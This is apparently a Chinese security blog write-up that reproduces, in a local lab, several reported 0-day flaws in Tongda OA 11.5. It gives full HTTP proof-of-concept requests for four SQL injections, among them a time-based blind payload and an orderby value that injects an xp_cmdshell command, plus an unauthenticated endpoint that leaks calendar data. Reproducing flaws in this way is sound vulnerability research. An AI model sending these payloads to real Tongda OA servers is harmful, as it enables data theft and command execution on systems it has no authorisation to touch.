通达OA多枚0day漏洞复现

808 阅读3分钟

通达OA多枚0day漏洞复现


刚刚群里发了一篇文章-研究复现一波,通达OA多枚0day漏洞poc出来了。

影响范围:通达OA11.5版本

图片

一、环境搭建:

安装11.5版本

图片

图片

图片

图片

安装完成:

图片

服务器配置:

图片

图片

访问IP服务正常:

图片

成功登录系统:

图片

二、漏洞验证复现


漏洞一:SQL注入 POC:

POST /general/appbuilder/web/calendar/calendarlist/getcallist HTTP/1.1

问题关键参数:starttime=12&endtime=15&view=month&condition=1

P

OST /general/appbuilder/web/calendar/calendarlist/getcallist HTTP/1.1
Host: 192.168.0.107
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie: PHPSESSID=rsgpd6j2u0a2qsqbjilv1nln44; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=81d423f8
Upgrade-Insecure-Requests: 1
Content-Length: 152

starttime=12&endtime=15&view=month&condition=1
starttime=AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])---&endtime=1598918400&view=month&condition=1

详细的注入参数点:

图片

sqlmap验证:

图片

漏洞文件:

webroot\general\appbuilder\modules\calendar\models\Calendar.php。

漏洞二:SQL注入 POC:

GET /general/email/sentbox/get_index_data.php?asc=0&boxid=&boxname=sentbox&curnum=3&emailtype=ALLMAIL&keyword=admint&orderby=exec master xp_cmshell'ping 127.0.0.1'--&pagelimit=20&tag=&timestamp=1598069133&total= HTTP/1.1

问题关键参数:orderby

GET /general/email/sentbox/get_index_data.php?asc=0&boxid=&boxname=sentbox&curnum=3&emailtype=ALLMAIL&keyword=admint&orderby=exec master xp_cmshell'ping 127.0.0.1'--&pagelimit=20&tag=×tamp=1598069133&total= HTTP/1.1
Host: 192.168.0.107
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie: PHPSESSID=rsgpd6j2u0a2qsqbjilv1nln44; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=81d423f8
Upgrade-Insecure-Requests: 1

手工注入闭合报错:

图片

burp参数查询,回现报错

sqlmap验证,(多次跑了一下)未验证成功。可以试试其他版本。

漏洞文件:webroot\inc\utility_email.php,get_sentbox_data函数接收传入参数未过滤,直接拼接在order by后面了造成注入。


漏洞三:SQL注入 POC:

GET /general/email/inbox/get_index_data.php?asc=0&boxid=&boxname=inbox&curnum=0&emailtype=ALLMAIL&keyword=&orderby=3--&pagelimit=10&tag=&timestamp=1598069103&total= HTTP/1.1

问题关键参数:orderby

GET /general/email/inbox/get_index_data.php?asc=0&boxid=&boxname=inbox&curnum=0&emailtype=ALLMAIL&keyword=&orderby=3--&pagelimit=10&tag=×tamp=1598069103&total= HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://192.168.43.169
Cookie: PHPSESSID=54j5v894kbrm5sitdvv8nk4520; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=c9e143ff
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: 192.168.43.169
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
Connection: close

手工注入闭合报错:

图片

burp参数查询,回现报错

sqlmap验证,(多次跑了一下)未验证成功。可以试试其他版本。

漏洞文件:webroot\inc\utility_email.php,get_email_data函数传入参数未过滤,直接拼接在order by后面了造成注入。

漏洞三和漏洞四,参数结果一样可能是这个影响,本地验证未成功。(个人复现情况)

开始看见sql注入2和sql注入3,我以为是是一样的,详细看了还是有差别,功能点参数相似。

图片


漏洞四:SQL注入 POC:

GET /general/appbuilder/web/report/repdetail/edit?link_type=false&slot={}&id=2 HTTP/1.1

问题关键参数:id

GET /general/appbuilder/web/report/repdetail/edit?link_type=false&slot={}&id=2 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://192.168.43.169
Cookie: PHPSESSID=54j5v894kbrm5sitdvv8nk4520; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=c9e143ff
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: 192.168.43.169
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
Connection: close

本地的数据库,相关信息不多

图片

sqlmap验证:

图片

漏洞文件:webroot\general\appbuilder\modules\report\controllers\RepdetailController.php,actionEdit函数中存在 一个$_GET["id"];  未经过滤,拼接到SQL查询中,造成了SQL注入。


漏洞五:未授权访问:

http://127.0.0.1/general/calendar/arrange/get_cal_list.php?starttime=1595779200&endtime=1599408000&view=agendaDay

本地参数没有成功:可能是本地的环境是刚刚搭建,本地的时间没有相关的数据。

图片

再次确认问题点:未授权访问各种会议通知信息,由于本地的环境是新的没有相关的,没有相关的会议消息,所以不能访问到数据。

参考文章:

安译Sec(mp.weixin.qq.com/s/3bI7v-hv4…

免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

订阅查看更多复现文章、学习笔记

thelostworld

安全路上,与你并肩前行!!!!

图片

个人知乎:www.zhihu.com/people/fu-w…

个人简书:www.jianshu.com/u/bf0e38a8d…

个人CSDN:blog.csdn.net/qq\_3760279…